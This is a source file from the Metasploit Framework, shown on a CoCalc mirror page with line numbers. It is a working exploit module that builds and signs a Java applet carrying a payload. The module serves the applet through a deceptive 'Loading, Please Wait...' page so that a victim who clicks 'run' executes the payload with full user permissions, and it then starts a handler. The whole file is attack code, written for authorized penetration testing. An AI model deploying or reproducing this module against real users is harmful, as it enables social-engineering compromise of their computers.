CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/multi/browser/java_signed_applet.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
require 'rex/zip'
7
8
class MetasploitModule < Msf::Exploit::Remote
9
Rank = ExcellentRanking
10
11
include Msf::Exploit::Remote::HttpServer::HTML
12
include Msf::Exploit::EXE
13
14
def initialize( info = {} )
15
super( update_info( info,
16
'Name' => 'Java Signed Applet Social Engineering Code Execution',
17
'Description' => %q{
18
This exploit dynamically creates a .jar file via the
19
Msf::Exploit::Java mixin, then signs the it. The resulting
20
signed applet is presented to the victim via a web page with
21
an applet tag. The victim's JVM will pop a dialog asking if
22
they trust the signed applet.
23
24
On older versions the dialog will display the value of CERTCN
25
in the "Publisher" line. Newer JVMs display "UNKNOWN" when the
26
signature is not trusted (i.e., it's not signed by a trusted
27
CA). The SigningCert option allows you to provide a trusted
28
code signing cert, the values in which will override CERTCN.
29
If SigningCert is not given, a randomly generated self-signed
30
cert will be used.
31
32
Either way, once the user clicks "run", the applet executes
33
with full user permissions.
34
},
35
'License' => MSF_LICENSE,
36
'Author' => [ 'natron' ],
37
'References' =>
38
[
39
[ 'URL', 'http://www.defcon.org/images/defcon-17/dc-17-presentations/defcon-17-valsmith-metaphish.pdf' ]
40
],
41
'Platform' => %w{ java linux osx solaris win },
42
'Payload' => { 'BadChars' => '', 'DisableNops' => true },
43
'Targets' =>
44
[
45
[ 'Generic (Java Payload)',
46
{
47
'Platform' => ['java'],
48
'Arch' => ARCH_JAVA
49
}
50
],
51
[ 'Windows x86 (Native Payload)',
52
{
53
'Platform' => 'win',
54
'Arch' => ARCH_X86,
55
}
56
],
57
[ 'Linux x86 (Native Payload)',
58
{
59
'Platform' => 'linux',
60
'Arch' => ARCH_X86,
61
}
62
],
63
[ 'Mac OS X PPC (Native Payload)',
64
{
65
'Platform' => 'osx',
66
'Arch' => ARCH_PPC,
67
}
68
],
69
[ 'Mac OS X x86 (Native Payload)',
70
{
71
'Platform' => 'osx',
72
'Arch' => ARCH_X86,
73
}
74
]
75
],
76
'DefaultTarget' => 1,
77
'DisclosureDate' => '1997-02-19'
78
))
79
80
register_options( [
81
OptString.new('CERTCN', [ true,
82
"The CN= value for the certificate. Cannot contain ',' or '/'",
83
"SiteLoader"
84
]),
85
OptString.new('APPLETNAME', [ true,
86
"The main applet's class name.",
87
"SiteLoader"
88
]),
89
OptPath.new('SigningCert', [ false,
90
"Path to a signing certificate in PEM or PKCS12 (.pfx) format"
91
]),
92
OptPath.new('SigningKey', [ false,
93
"Path to a signing key in PEM format"
94
]),
95
OptString.new('SigningKeyPass', [ false,
96
"Password for signing key (required if SigningCert is a .pfx)"
97
]),
98
])
99
end
100
101
102
def setup
103
load_cert
104
load_applet_class
105
super
106
end
107
108
109
def on_request_uri( cli, request )
110
if not request.uri.match(/\.jar$/i)
111
if not request.uri.match(/\/$/)
112
send_redirect( cli, get_resource() + '/', '')
113
return
114
end
115
116
print_status( "Handling request" )
117
118
send_response_html( cli, generate_html, { 'Content-Type' => 'text/html' } )
119
return
120
end
121
122
p = regenerate_payload(cli)
123
if not p
124
print_error("Failed to generate the payload.")
125
# Send them a 404 so the browser doesn't hang waiting for data
126
# that will never come.
127
send_not_found(cli)
128
return
129
end
130
131
# If we haven't returned yet, then this is a request for our applet
132
# jar, build one for this victim.
133
jar = p.encoded_jar(:random => true)
134
135
jar.add_file("#{datastore["APPLETNAME"]}.class", @applet_class)
136
137
jar.build_manifest(:main_class => "metasploit.Payload", :app_name => "#{datastore["APPLETNAME"]}")
138
139
jar.sign(@key, @cert, @ca_certs)
140
#File.open("payload.jar", "wb") { |f| f.write(jar.to_s) }
141
142
print_status("Sending #{datastore['APPLETNAME']}.jar. Waiting for user to click 'accept'...")
143
send_response( cli, jar.to_s, { 'Content-Type' => "application/octet-stream" } )
144
145
handler( cli )
146
147
end
148
149
150
def load_applet_class
151
data_dir = File.join(Msf::Config.data_directory, "exploits", self.shortname)
152
if datastore["APPLETNAME"]
153
unless datastore["APPLETNAME"] =~ /^[a-zA-Z_$]+[a-zA-Z0-9_$]*$/
154
fail_with(Failure::BadConfig, "APPLETNAME must conform to rules of Java identifiers (alphanum, _ and $, must not start with a number)")
155
end
156
siteloader = File.open(File.join(data_dir, "SiteLoader.class"), "rb") {|fd| fd.read(fd.stat.size) }
157
# Java strings are prefixed with a 2-byte, big endian length
158
find_me = ["SiteLoader".length].pack("n") + "SiteLoader"
159
idx = siteloader.index(find_me)
160
len = [datastore["APPLETNAME"].length].pack("n")
161
# Now replace it with the new class name
162
siteloader[idx, "SiteLoader".length+2] = len + datastore["APPLETNAME"]
163
else
164
# Don't need to replace anything, just read it in
165
siteloader = File.open(File.join(data_dir, "SiteLoader.class"), "rb") {|fd| fd.read(fd.stat.size) }
166
end
167
@applet_class = siteloader
168
end
169
170
171
def load_cert
172
if datastore["SigningCert"]
173
cert_str = File.open(datastore["SigningCert"], "rb") {|fd| fd.read(fd.stat.size) }
174
begin
175
pfx = OpenSSL::PKCS12.new(cert_str, datastore["SigningKeyPass"])
176
@cert = pfx.certificate
177
@key = pfx.key
178
@ca_certs = pfx.ca_certs
179
180
rescue OpenSSL::PKCS12::PKCS12Error
181
# it wasn't pkcs12, try it as concatenated PEMs
182
certs = cert_str.scan(/-+BEGIN CERTIFICATE.*?END CERTIFICATE-+/m)
183
@cert = OpenSSL::X509::Certificate.new(certs.shift)
184
@ca_certs = nil
185
while certs.length > 0
186
@ca_certs ||= []
187
@ca_certs << OpenSSL::X509::Certificate.new(certs.shift)
188
end
189
190
if datastore["SigningKey"] and File.file?(datastore["SigningKey"])
191
key_str = File.open(datastore["SigningKey"], "rb") {|fd| fd.read(fd.stat.size) }
192
else
193
key_str = cert_str
194
end
195
196
# First try it as RSA and fallback to DSA if that doesn't work
197
begin
198
@key = OpenSSL::PKey::RSA.new(cert_str, datastore["SigningKeyPass"])
199
rescue OpenSSL::PKey::RSAError => e
200
@key = OpenSSL::PKey::DSA.new(cert_str, datastore["SigningKeyPass"])
201
end
202
end
203
else
204
# Name.parse uses a simple regex that isn't smart enough to allow
205
# slashes or commas in values, just remove them.
206
certcn = datastore["CERTCN"].gsub(%r|[/,]|, "")
207
x509_name = OpenSSL::X509::Name.parse(
208
"C=Unknown/ST=Unknown/L=Unknown/O=Unknown/OU=Unknown/CN=#{certcn}"
209
)
210
211
@key = OpenSSL::PKey::DSA.new(1024)
212
@cert = OpenSSL::X509::Certificate.new
213
@cert.version = 2
214
@cert.serial = 1
215
@cert.subject = x509_name
216
@cert.issuer = x509_name
217
@cert.public_key = @key.public_key
218
@cert.not_before = Time.now
219
# FIXME: this will break in the year 2037 on 32-bit systems
220
@cert.not_after = @cert.not_before + 3600 * 24 * 365 # 1 year
221
end
222
end
223
224
225
def generate_html
226
html = %Q|<html><head><title>Loading, Please Wait...</title></head>\n|
227
html << %Q|<body><center><p>Loading, Please Wait...</p></center>\n|
228
html << %Q|<applet archive="#{get_resource.sub(%r|/$|, '')}/#{datastore["APPLETNAME"]}.jar"\n|
229
vprint_line(html)
230
if @use_static
231
html << %Q| code="SiteLoader" width="1" height="1">\n|
232
else
233
html << %Q| code="#{datastore["APPLETNAME"]}" width="1" height="1">\n|
234
end
235
html << %Q|</applet>\n</body></html>|
236
return html
237
end
238
239
240
# Currently unused until we ship a java compiler of some sort
241
def applet_code
242
applet = <<-EOS
243
import java.applet.*;
244
import metasploit.*;
245
246
public class #{datastore["APPLETNAME"]} extends Applet {
247
public void init() {
248
try {
249
Payload.main(null);
250
} catch (Exception ex) {
251
//ex.printStackTrace();
252
}
253
}
254
}
255
EOS
256
end
257
end
258
259
=begin
260
261
The following stores a bunch of intermediate files on the path to creating the signature. The
262
ImportKey class used for testing was obtained from:
263
http://www.agentbob.info/agentbob/79-AB.html
264
265
system("rm -rf signed_jar/*")
266
File.open("signed_jar/cert.pem", "wb") { |f| f.write(@cert.to_s + @key.to_s) }
267
File.open("signed_jar/key.pem", "wb") { |f| f.write(@key.to_s + @key.public_key.to_s) }
268
File.open("signed_jar/unsigned.jar", "wb") { |f| f.write jar.to_s }
269
270
File.open("signed_jar/jarsigner-signed.jar", "wb") { |f| f.write jar.to_s }
271
system("openssl x509 -in signed_jar/cert.pem -inform PEM -out signed_jar/cert.der -outform DER")
272
system("openssl pkcs8 -topk8 -nocrypt -in signed_jar/key.pem -inform PEM -out signed_jar/key.der -outform DER")
273
system("java -cp . ImportKey signed_jar/key.der signed_jar/cert.der")
274
system("mv ~/keystore.ImportKey ~/.keystore")
275
system("jarsigner -storepass importkey signed_jar/jarsigner-signed.jar importkey")
276
277
jar.sign(@key, @cert)
278
File.open("signed_jar/signed.jar", "wb") { |f| f.write jar.to_s }
279
280
=end
281
282